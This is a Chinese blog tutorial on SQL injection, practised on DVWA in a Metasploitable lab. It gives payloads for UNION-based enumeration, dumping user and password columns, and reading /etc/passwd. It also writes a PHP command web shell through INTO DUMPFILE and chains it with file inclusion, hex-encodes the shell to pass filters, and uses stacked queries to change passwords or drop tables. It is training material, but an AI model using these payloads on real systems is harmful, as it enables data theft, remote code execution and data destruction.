web 渗透 --- SQL注入

目录

SQL注入

1、基于报错的检测方法

2、基于布尔的检测方法

3、查询字段数

4、联合查询

5、常用函数

6、hackbar的使用

7、综合查询

8、利用MySQL进行文件操作

 不是root权限的MySQL

1、无权读取information_schema 库/拒绝union、order by语句

2、使用burpsuite进行测试

利用dvwa进行漏洞测试

low级别:

当数据库可写

Medium级别:

high级别:


SQL注入

1、基于报错的检测方法

          ’    ”    %   ()

           使用单引号进行测试

      

2、基于布尔的检测方法

         1’ and ‘1’=‘1                    /        1’ and ‘1

         1’ and ‘1’=‘2                    /        1’ and ‘0

3、查询字段数

         order by 9--+ #按查询列好排序(注释:-- )

         select * 时表字段数=查询字段数

插入 ’ order by 3--+,发现报错,增加或者减小数字,直到不报错则猜出字段数

4、联合查询

        ’ union select 1,2--+

        ’ union all select database(),2--+

1.插入 ’ union select 1,2--+   ,测试字段数

2.插入'union select user(),version()--+ ,查询数据库用户和版本信息

5、常用函数

1.当前库名:database()

2.DB用户:user()

3.DB版本:version()

4.全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os

5.ASCII转字符:char()

7.连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())

8.计算哈希:md5()

6、hackbar的使用

用法

  1.            “+” 和 “空格” 等价

  2.             Split URL:会自动将 URL 分段

7、综合查询

  • 查询所有库所有表

' union select table_name,table_schema from information_schema.tables--+

  •  统计每库中表的数量
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 

 

  •  DVWA 中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+

 

  •  user 表中的所有列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

 

  •  查询 user、password列的内容
' union select user,password from dvwa.users--+

 

  • 将测试拿到的密码进行进行猜解

 

 

8、利用MySQL进行文件操作

  • 读取文件
' union SELECT null, load_file('/etc/passwd')--+
  • 写入文件
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE 'a.php'-- 
  •  保存下载数据库(保存到服务器本地)
' union select null, concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" --+
  •  结合 sql 注入文件漏洞和文件包含漏洞
# 查看可知文件被写入 /var/lib/mysql/dvwa 路径
root@metasploitable:/var/lib/mysql/dvwa# cat a.php 
<?php passthru($_GET['cmd']); ?>

# 但是如此写入的文件并不可以读取,因为权限是 mysql,其他用户(www-data)不可读
root@metasploitable:/var/lib/mysql# ll -d dvwa/
drwx------ 2 mysql mysql 4096 Mar 22 11:08 dvwa/

# 可以将文件写入 /tmp 目录
root@metasploitable:~# ll -d /tmp
drwxrwxrwt 6 root root 4096 Mar 22 09:57 /tmp

# 写入文件
'%20union%20select%20null,"<?php%20passthru($_GET['cmd']);%20?>"%20INTO%20DUMPFILE%20'/tmp/a.php'--%20

# 使用文件包含漏洞
http://192.168.71.133/dvwa/vulnerabilities/fi/?page=/tmp/a.php&cmd=id
  •  绕过 URL 过滤机制进行文件上传(十六进制编码)
root@kali:~/Desktop# cat test.php 
<?php echo shell_exec($_GET['cmd']);?>

# 进行十六进制编码
root@kali:~/Desktop# cat test.php | xxd -ps | tr -d '\n'
        3c3f706870206563686f207368656c6c5f6578656328245f4745545b27636d64275d293b3f3e0a

# 变为(0x3c3f706870206563686f207368656c6c5f6578656328245f4745545b27636d64275d293b3f3e0a)
# 粘贴替换原来的 "<?php%20passthru($_GET['cmd']);%20?>"

 不是root权限的MySQL

1、无权读取information_schema 库/拒绝union、order by语句

  • 猜列名:' and column is null --+
  • 猜当前表名:' and table.user is null--+

                             ' and db.table.aa is null--+

  • 猜库里其他表:' and (select count(*) from table) >0--+

                                 ' and (select count(*) from a) >0--+

  • 列表对应关系:' and users.user is null--+
  • 猜字段内容:' or user='admin'

                             ' or usser like '%a%'

2、使用burpsuite进行测试

# 可以使用字典进行猜解
root@kali:~# find / -name *column*.txt
/usr/local/src/w3af/w3af/plugins/attack/db/sqlmap/txt/common-columns.txt
/usr/share/golismero/tools/sqlmap/txt/common-columns.txt
/usr/share/qgis/python/plugins/processing/algs/grass/description/v.buffer.column.txt
/usr/share/qgis/python/plugins/processing/algs/grass7/description/v.buffer.column.txt
/usr/share/sqlmap/txt/common-columns.txt

# 在sql查询是,井号(#)有特殊含义,代表临时查询,可以删掉
root@kali:~# cat /usr/share/sqlmap/txt/common-columns.txt | grep -v ^# > column.txt

# 使用 BurpSuite

 抓取数据包,发送到intruder模块

先清除所有变量,再添加想要猜解变量

载入字典文件

开始攻击,通过长度判断出有哪些列名

猜解其他内容步骤一样,请自行测试

利用dvwa进行漏洞测试

low级别:

当数据库可写

  • 修改管理员账号 ‘; update users set user=’yuanfh’ where user=’admim;

    无法成功执行是因为客户端问题
    客户端不支持两条指令一起查询,但是在 MySQL 命令行下是支持的

  • 修改管理员密码 ‘; update users set password=’5f4dcc3b5aa765d61d8327deb882cf99’ where user=’admim;

    无法成功执行是因为客户端问题
    客户端不支持两条指令一起查询,但是在 MySQL 命令行下是支持的

  • 插入一个用户 ‘; INSERT INTO users (‘user_id’,’first_name’,’last_name’,’user’,’password’,’avatar’) VALUES (‘35’,’fh’,’yuan’,’yfh’,’5f4dcc3b5aa765d61d8327deb882cf99’,’OK’);–+

  • 删除一个表 ‘; DROP TABLE users; –+

  • xp_cmdshell / 存储过程

Medium级别:

源代码中的 mysql_real_escape_string($id);

  • mysql_real_escape_string() 函数是对字符进行转义,转义的字符包括
  1. \x00
  2. \n
  3. \r
  4. \
  5. \x1a

  • mysql_real_escape_string() 函数在 PHP5 > PHP版本 >= 4.3.0 存在
  • PHP 5.5.0 已经放弃使用此函数,PHP7已经删除此函数,代之以 MySQLi、PDO_MySQL

high级别:

  • mysql_real_escape_string()
  • stripslashes():去除 ‘\’
  • is_numeric():判断是否是数字,不是数字直接退出

猜你喜欢

转载自blog.csdn.net/qq389674856/article/details/82682958
今日推荐